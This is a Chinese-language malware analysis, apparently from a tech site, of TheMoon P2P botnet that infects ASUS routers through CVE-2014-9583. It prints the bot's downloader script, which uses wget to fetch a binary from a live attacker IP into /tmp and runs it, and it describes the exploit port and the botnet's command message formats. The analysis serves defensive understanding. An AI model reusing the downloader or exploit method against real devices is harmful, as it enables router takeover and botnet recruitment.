詳解感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序

僵尸網(wǎng)絡(luò)是指采用一種或多種傳播手段,是指實(shí)現(xiàn)惡意控制功能的程序代碼,在控制者和被感染主機(jī)之間所形成的一個(gè)可一對(duì)多控制的網(wǎng)絡(luò)。
下圖是利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。
CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個(gè)路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請(qǐng)求的MAC地址。遠(yuǎn)程攻擊者可通過向UDP 9999端口發(fā)送NET_CMD_ID_MANU_CMD數(shù)據(jù)包利用該漏洞繞過身份驗(yàn)證,執(zhí)行任意命令。詳情參見GitHub
以下是bot從網(wǎng)站http://78.128.92.137:80/ 自動(dòng)下載的nmlt1.sh文件內(nèi)容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器將會(huì)從攻擊者控制的網(wǎng)站上自動(dòng)下載并執(zhí)行.nttpd文件,.nttpd運(yùn)行后將成為駐留進(jìn)程。以下為.nttpd文件哈希信息
該bot程序?qū)儆赥heMoon惡意軟件系列,程序結(jié)構(gòu)如下:
該bot程序主要不同在于os_init和 run_modules函數(shù),os_init中插入了8個(gè)iptables規(guī)則:
為了獲得感染設(shè)備的絕對(duì)控制權(quán),防止反復(fù)感染,其中第一條規(guī)則通過關(guān)閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規(guī)則是關(guān)閉多個(gè)端口,阻止其它攻擊者利用D-Link的一個(gè)遠(yuǎn)程命令執(zhí)行漏洞。其余為bot程序建立的網(wǎng)絡(luò)通信規(guī)則。
在run_modules中,bot加載了3個(gè)模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個(gè)線程,一個(gè)用來計(jì)時(shí),一個(gè)用來同步,它通過查詢公開NTP服務(wù)器保持UTC時(shí)間。抓包發(fā)現(xiàn)bot與NTP服務(wù)器之間的請(qǐng)求回應(yīng)流量
Net模塊
該模塊開啟了UDP 5143端口,并創(chuàng)建了一個(gè)P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結(jié)構(gòu):
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
當(dāng)bot接收到消息時(shí),TTL值以1遞減,并把消息轉(zhuǎn)發(fā)給其它對(duì)等結(jié)點(diǎn)(peer),下圖為向其它peer節(jié)點(diǎn)轉(zhuǎn)發(fā)消息的底層代碼
Register message(注冊(cè)消息)
該消息類型標(biāo)記為0,當(dāng)所有模塊加載完畢,消息將被轉(zhuǎn)發(fā)給其它對(duì)等網(wǎng)絡(luò),包括iptables規(guī)則中的其它網(wǎng)絡(luò):
消息體由兩個(gè)雙字字符串組成,其中0x6d6163f4為特定變量,而00000xx為對(duì)等網(wǎng)絡(luò)值。在轉(zhuǎn)發(fā)完該消息類型之后,bot程序會(huì)自動(dòng)把發(fā)送方添加為自身對(duì)等結(jié)點(diǎn)(peer),以此擴(kuò)大傳播感染面。
RegistertTo message(判斷消息)
該消息類型標(biāo)記也為0,但消息體為12個(gè)字節(jié)。如果第三個(gè)雙字字符不為0,程序?qū)?huì)向特定IP發(fā)送register message消息進(jìn)行注冊(cè)。否則,將會(huì)向發(fā)送方持續(xù)請(qǐng)求register message,保持通信。下圖為bot程序接收到的Register To消息流量包
FetchCommand message (控制消息)
該消息類型標(biāo)記為1,消息體結(jié)構(gòu)如下:
Offset Size Description
0 4 Peer IP address
4 4 Command id
8 4 Command size (Maximum 0x19001)
12 n file name(n8)
以下為bot接收到的FetchCommand消息流量包
之后,bot程序會(huì)把消息內(nèi)容儲(chǔ)存在Pending Command內(nèi)為后續(xù)DWL模塊使用:
Struct PendingCommand
{
DWORD ip;
DWORD cmd_id;
DWORD cmd_size;
CHAR filename[8];
};
DWL模塊
該模塊創(chuàng)建讀取PendingCommand內(nèi)容的進(jìn)程,之后,程序通過TCP 4543端口向特定IP發(fā)送請(qǐng)求文件名和命令I(lǐng)D:
特定IP返回請(qǐng)求文件,bot儲(chǔ)存響應(yīng)信息并執(zhí)行文件。下圖為請(qǐng)求執(zhí)行過程的底層實(shí)現(xiàn)代碼:
總結(jié)
TheMoon惡意軟件于2014年被SANS發(fā)現(xiàn),主要以路由器為目標(biāo),利用漏洞植入感染。從底層代碼來看,TheMoon還以華碩(ASUS)和 Linksys路由器為特定目標(biāo)。通過分析可以看出,TheMoon使用iptables規(guī)則進(jìn)行通信的P2P感染機(jī)制還不太成熟,另外,其不加密的通信可被輕易發(fā)現(xiàn)和分析。
以上就是腳本之家小編為大家講解的感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序的教程,需要的用戶快來看看吧,想了解更多精彩教程請(qǐng)繼續(xù)關(guān)注腳本之家網(wǎng)站!
推薦文章:
新型WiFi系統(tǒng) MegaMIMO 2.0三倍速 解決信號(hào)差、上網(wǎng)慢問題
教你一招成功破解電信限制路由器,多臺(tái)電腦一起上網(wǎng)速也一樣快
相關(guān)文章
- WIFI為了防止別人蹭網(wǎng).要經(jīng)常的修改密碼2015-05-12
如何破解無線路由密碼 破解無線路由密碼蹭網(wǎng)的詳細(xì)圖文步驟
我住的小區(qū)可搜索到幾個(gè)無線網(wǎng)絡(luò),信號(hào)都很弱,有一個(gè)沒有密碼,但是很少能連上。2015-05-13電信光纖貓與TP-LINK無線路由器連接設(shè)置向?qū)D文詳細(xì)介紹
首先,由于HG330和TP-Link路由器默認(rèn)地址都是192.168.1.1,需要將臺(tái)式機(jī)的網(wǎng)線直接連接到TP-Link路由器的LAN接口,然后在瀏覽器中鍵入192.168.1.1,輸入用戶名和密碼(默認(rèn)2013-09-01- 在我們常用的Windows XP操作系統(tǒng)中,系統(tǒng)默認(rèn)的MTU值為1500,這是一個(gè)標(biāo)準(zhǔn)以太網(wǎng)的設(shè)置值,并不適合寬帶網(wǎng)絡(luò)2012-11-14
- 很多朋友會(huì)把自己的wifi密碼給忘記了,今天小編就為大家?guī)硪粋€(gè)簡(jiǎn)單的方法,既不用進(jìn)入路由器查看,也不需要下載密碼查看器,只需使用windows系統(tǒng)的自帶功能即可,下面就2014-12-23
華為(HUAWEI )無線路由器詳細(xì)設(shè)置圖文教程
今天朋友入手了一款華為無線路由器,找我給幫忙設(shè)置下,通過參考下面的圖文方法順利解決,特分享一下,方便需要的朋友2012-10-15用一根網(wǎng)線連接2個(gè)路由器或設(shè)置多個(gè)路由器的方法
本文為大家介紹兩種可以用一根網(wǎng)線連接2個(gè)或多個(gè)路由器的方法,雖然用一根網(wǎng)線連接2個(gè)或多個(gè)路由器的方法不止兩個(gè),但是小編覺得這兩種方法是最好用最簡(jiǎn)單的,一起來看看吧2014-02-15- 我的電腦密碼丟失有的時(shí)候重新安裝系統(tǒng)就可以,但ADSL撥號(hào)密碼忘記了還得拿自己的證件到運(yùn)營商那里去處理,那么寬帶連接密碼忘記了怎么辦?下面小編就為大家介紹查看寬帶密2015-02-09
- 我不小心把家里的路由器恢復(fù)了出廠設(shè)置,然后再連接的時(shí)候,發(fā)現(xiàn)連接不了網(wǎng)絡(luò)了。不通過路由器可以直接用寬帶連接2012-11-06